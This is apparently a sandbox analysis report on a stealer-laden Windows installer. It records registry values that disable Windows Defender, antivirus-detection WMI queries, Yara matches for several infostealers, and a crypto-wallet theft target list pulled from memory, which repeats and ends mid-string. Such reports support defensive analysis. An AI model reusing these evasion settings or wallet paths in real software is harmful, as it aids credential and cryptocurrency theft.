Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableOnAccessProtection 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableScanOnRealtimeEnable 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRawWriteNotification 1 Jump to behavior
Exclude list of file types from scheduled, custom, and real-time scanning
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Registry value created: Exclusions_Extensions 1 Jump to behavior
Modifies Group Policy settings
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File written: C:\Windows\System32\GroupPolicy\gpt.ini Jump to behavior
Modifies power options to not sleep / hibernate
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\System32\sc.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Mars stealer
Source: Yara match File source: 9.2.Lbg6Jgx2PuK0JimgGIFCI5UU.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.2606301405.0000000000A01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663cfc420.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d50aa0.19.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d50aa0.22.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d7f760.30.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d7f760.26.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d1e060.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.0.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2231437346.0000021664602000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2396195188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2242900895.0000021665139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000000.2313037451.0000000000B82000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\newsoftgnu[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 17.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.73ab00.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.73ab00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.2550868156.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2414041774.000000000073A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 00000009.00000002.2627954517.0000000001CF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lbg6Jgx2PuK0JimgGIFCI5UU.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.4314a88.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.4314a88.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.Lbg6Jgx2PuK0JimgGIFCI5UU.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.437bed8.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.437bed8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.2606301405.0000000000A01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.0000000004314000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2806277052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2421723577.000000000338B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.000000000437B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.00000000043AF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lbg6Jgx2PuK0JimgGIFCI5UU.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yHP2Z5SFUIZjI8pAKB_H3QUP.exe PID: 2876, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx 